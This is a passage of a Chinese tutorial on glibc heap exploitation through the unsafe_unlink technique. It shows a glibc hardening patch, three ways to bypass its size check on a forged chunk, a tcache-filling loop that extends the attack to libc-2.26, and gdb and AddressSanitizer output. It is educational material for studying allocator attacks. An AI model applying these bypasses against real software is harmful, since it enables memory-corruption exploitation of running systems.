Date:   Fri Mar 17 15:31:38 2017 -0400

    Further harden glibc malloc metadata against 1-byte overflows.
    
    Additional check for chunk_size == next->prev->chunk_size in unlink()
    
    2017-03-17  Chris Evans  <scarybeasts@gmail.com>
    
            * malloc/malloc.c (unlink): Add consistency check between size and
            next->prev->size, to further harden against 1-byte overflows.

diff --git a/malloc/malloc.c b/malloc/malloc.c
index e29105c372..994a23248e 100644
--- a/malloc/malloc.c
+++ b/malloc/malloc.c
@@ -1376,6 +1376,8 @@ typedef struct malloc_chunk *mbinptr;
 
 /* Take a chunk off a bin list */
 #define unlink(AV, P, BK, FD) {                                            \
+    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
+      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
     FD = P->fd;                                                                      \
     BK = P->bk;                                                                      \
     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                    \

具体是这样的:

/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS.  */
#define chunksize_nomask(p)         ((p)->mchunk_size)
/* Size of the chunk below P.  Only valid if prev_inuse (P).  */
#define prev_size(p) ((p)->mchunk_prev_size)
/* Bits to mask off when extracting size  */
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

回顾一下伪造出来的堆:

gef➤  x/40gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000091  <-- chunk 0
0x602010:	0x0000000000000000	0x0000000000000000  <-- fake chunk P
0x602020:	0x0000000000601058	0x0000000000601060      <-- fd, bk pointer
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000080	0x0000000000000090  <-- chunk 1 <-- prev_size
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000020ee1  <-- top chunk
0x602130:	0x0000000000000000	0x0000000000000000

这里有三种办法可以绕过该检查:

  • 什么都不做。
    • chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x0
    • prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x0) == 0x0
  • 设置 chunk0_ptr[1] = 0x8
    • chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x8
    • prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x8) == 0x8
  • 设置 chunk0_ptr[1] = 0x80
    • chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x80
    • prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x80) == 0x80

好的,现在 libc-2.25 版本下我们也能成功利用了。接下来更近一步libc-2.26 怎么利用,首先当然要先知道它新增了哪些漏洞缓解措施,其中一个神奇的东西叫做 tcache这是一种线程缓存机制每个线程默认情况下有 64 个大小递增的 bins每个 bin 是一个单链表,默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的,所以在释放 chunk 1 的时候,chunk0_ptr 仍然指向正确的堆地址,而不是之前的 chunk0_ptr = P = P->fd。为了解决这个问题,一种可能的办法是给填充进特定大小的 chunk 把 bin 占满,就像下面这样:

    // deal with tcache
    int *a[10];
    int i;
    for (i = 0; i < 7; i++) {
		a[i] = malloc(0x80);
	}
	for (i = 0; i < 7; i++) {
		free(a[i]);
	}
gef➤  p &chunk0_ptr 
$2 = (uint64_t **) 0x555555755070 <chunk0_ptr>
gef➤  x/gx 0x555555755070
0x555555755070 <chunk0_ptr>:    0x00007fffffffdd0f
gef➤  x/gx 0x00007fffffffdd0f
0x7fffffffdd0f: 0x4242424242424242

现在 libc-2.26 版本下也成功利用了。tcache 是个很有趣的东西,更详细的内容我们会在专门的章节里去讲。

加上内存检测参数重新编译,可以看到 heap-buffer-overflow

$ gcc -fsanitize=address -g unsafe_unlink.c 
$ ./a.out 
The global chunk0_ptr is at 0x602230, pointing to 0x60c00000bf80
The victim chunk we are going to corrupt is at 0x60c00000bec0

Fake chunk fd: 0x602218
Fake chunk bk: 0x602220

=================================================================
==5591==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c00000beb0 at pc 0x000000400d74 bp 0x7ffd06423730 sp 0x7ffd06423720
WRITE of size 8 at 0x60c00000beb0 thread T0
    #0 0x400d73 in main /home/firmy/how2heap/unsafe_unlink.c:26
    #1 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #2 0x400968 in _start (/home/firmy/how2heap/a.out+0x400968)

0x60c00000beb0 is located 16 bytes to the left of 128-byte region [0x60c00000bec0,0x60c00000bf40)
allocated by thread T0 here:
    #0 0x7fc9261c4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x400b12 in main /home/firmy/how2heap/unsafe_unlink.c:13
    #2 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

house_of_spirit

poison_null_byte

house_of_lore

overlapping_chunks

overlapping_chunks_2

house_of_force

unsorted_bin_attack

house_of_einherjar

house_of_orange

参考资料